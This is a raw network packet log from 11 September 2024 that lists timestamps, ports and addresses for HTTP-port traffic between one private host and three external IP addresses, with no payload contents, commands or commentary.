Sep 11, 2024 16:22:17.967617989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967617989 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967629910 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967641115 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967653036 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967658997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967658997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967664003 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967675924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967689991 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967705965 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967726946 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967834949 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967845917 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967855930 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967869997 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967880964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967891932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967904091 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967905045 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967915058 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967926025 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967931032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967931032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967937946 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967951059 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967962980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967972994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967976093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967976093 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.967984915 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.967997074 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968008041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968012094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968012094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968022108 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968050003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968050003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968082905 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968302965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968313932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968324900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968336105 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968338966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968348026 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968359947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968372107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968372107 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968398094 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968466043 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968477964 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968489885 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968502045 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968513012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968516111 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968524933 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968535900 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968544960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968544960 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968548059 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968559980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968568087 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968569994 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968580961 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968585968 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968592882 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968601942 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968620062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968620062 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968621016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968633890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968645096 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968652010 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968656063 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968667030 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968677044 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968682051 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968682051 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968688965 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968699932 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968707085 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968710899 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968724012 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968734980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968739986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968739986 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968745947 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968756914 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968769073 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.968781948 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968781948 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968935966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.968935966 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969060898 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969171047 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969182014 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969192982 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969204903 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969218016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969218016 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969230890 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969232082 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969243050 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969245911 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969255924 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969268084 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969280005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969293118 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969296932 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969296932 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969305992 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.969333887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969333887 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.969357014 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.970572948 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970583916 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970602036 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970630884 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970659018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970695972 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970707893 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970720053 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970731974 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970745087 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970746994 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970771074 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970787048 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970865011 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970876932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970887899 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970900059 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970911026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970913887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970925093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.970940113 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970953941 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.970977068 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.983086109 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983098030 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983108997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983119965 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983130932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983140945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983153105 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983172894 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983196974 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983206987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983211040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983217955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983230114 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983234882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983242989 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983254910 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983263016 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983266115 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983277082 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983288050 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983289003 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983309984 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983329058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983490944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983501911 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983514071 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983525038 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983536005 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983541965 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983546972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983556986 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983561039 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983570099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983572960 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983599901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983623028 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983623028 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983639956 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983649969 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983669043 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983675003 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983680964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983691931 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983700037 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983704090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983719110 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983726978 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983747005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983762026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983803034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983814001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983824968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983838081 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983849049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983850002 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983861923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983872890 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983874083 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983885050 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983891010 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983896017 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983915091 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983937025 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983939886 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983947039 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983957052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983973026 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.983974934 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983985901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983997107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.983999014 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.984008074 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984024048 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.984035969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.984154940 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984165907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984178066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984189034 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984195948 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.984200001 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984210968 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984213114 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.984221935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.984237909 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986248016 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986258984 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986269951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986279964 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986310005 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986330986 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986349106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986361027 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986371040 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986382008 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986387968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986404896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986428022 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986507893 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986519098 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986530066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986540079 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986546993 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986551046 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986561060 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986588955 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986730099 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986742020 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986752987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986784935 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986799002 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986865044 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986875057 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986887932 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.986917019 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.986942053 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987060070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987071037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987080097 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987107038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987128019 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987145901 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987157106 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987193108 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987226963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987237930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987247944 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987268925 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987289906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987294912 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987301111 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987310886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987325907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987334967 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987335920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987350941 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987375975 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987567902 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987577915 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987588882 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987598896 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987610102 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987610102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987622976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987623930 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987634897 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.987651110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.987679958 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988029957 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988043070 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988054037 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988065004 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988075972 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988086939 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988090038 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988096952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988112926 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988126040 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988137960 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988446951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988456964 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988468885 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988480091 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988491058 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988492012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988502979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988513947 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.988514900 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988524914 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988532066 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988565922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.988569975 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.988688946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988699913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988712072 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988723993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988734961 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988734961 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.988748074 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.988754034 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.988766909 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.988791943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.989461899 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989470959 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989485979 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989497900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989504099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989507914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989518881 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989525080 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989530087 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989541054 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989547968 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.989552975 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989563942 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989574909 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.989576101 CEST	49735	80	192.168.2.4	147.45.44.104
